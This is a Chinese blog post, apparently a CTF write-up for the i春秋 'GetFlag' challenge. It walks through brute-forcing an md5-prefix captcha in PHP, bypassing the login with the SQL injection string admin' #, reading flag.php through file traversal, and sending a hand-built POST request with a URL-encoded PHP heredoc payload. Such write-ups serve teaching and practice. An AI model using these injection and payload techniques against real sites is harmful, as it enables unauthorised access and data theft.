i春秋 “百度杯”CTF比赛 十月场 GetFlag

原创

「已注销」 于 2018-09-22 17:06:37 发布 965 收藏

分类专栏： i春秋

友链：https://cutt.ly/7777aaaa

本文链接：https://blog.csdn.net/include_heqile/article/details/82813989

https://www.ichunqiu.com/battalion?t=1&r=0

进入题目链接，是一个调侃界面，调侃单身狗的，然后我们进入`login`界面，这两个界面的源代码中都没有任何提示，但是我在目录中发现了`flag.php`文件，不过没有任何线索，页面源代码中也没有任何线索。。。。。

任何就老老实实的看登陆页面，我开始并没有正确理解那个验证码框，我以为只要输入他页面上的`substr(md5(captcha), 0, 6)=879f2f`的结果字符串就行了，在这儿耗了半天，尝试`SQL`注入，没有任何结果，最后还是忍不住去看了一眼`writeup`，然后才知道验证码框的意思是我们要输入的验证码要满足上面的那一行代码，也就是说我们输入的验证码的`md5`值的前六位要和页面上的相同，知道这个就很好做了，我们直接做出一个`php`脚本，爆破出验证码即可，只要`md5`值的前六位和当前页面上的那六个字符串相等即可，下面是我的代码：

```
<?php
$i=0;
while(true)
{
 $captcha = dechex($i);
 if(substr(md5($captcha), 0, 6)== "8ef329")
 {
  echo $captcha;
  break;
 }
 $i+=1;
}
```

直接从`1`开始，往上递增，因为`md5`值是`16`进制的字符串，所以需要使用`dechex`将其从`10`进制变成`16`进制，最后即可得到验证码，登陆页面存在注入，而且没有任何过滤，我们直接在`username`输入`admin' #`，密码随便输即可登陆至`admin`用户

到这里面我们就可以随意遍历文件了，直接查看`/var/www/html/Challenges/flag.php`，得到源代码，审计源代码，把`flag`参数构造为`flag`，然后没有返回有效结果，还是源代码，继续看`writeup`，上面说直接提交`flag`会导致异常，但是并不知道具体为什么会导致异常，然后就另辟蹊径，使用`PHP`的另一种字符串构造方法`<<<`自定义定界符

```
<<<selfDefineDelimiter
your string
selfDefineDelimiter
```

因为有换行的存在，我们要把上面所有的字符都进行`url`编码，然后在`burp`上构造`post`参数`flag`，对照`ASCII`码表进行手动编码：

```
<<<a
flag
a;
```

```
%3c%3c%3c61%0a
%66%6c%61%67%0a
%61%3b%0a

%3c%3c%3c61%0a%66%6c%61%67%0a%61
```

请求也需要我们自己构造：**注意：Content-Type字段的值**

```
POST /Challenges/flag.php HTTP/1.1
Host:8a855db687b64c05b02efc0fa87b4fa1f11579a7eb864268.game.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

flag=%3c%3c%3c%61%0a%66%6c%61%67%0a%61%3b%0a
```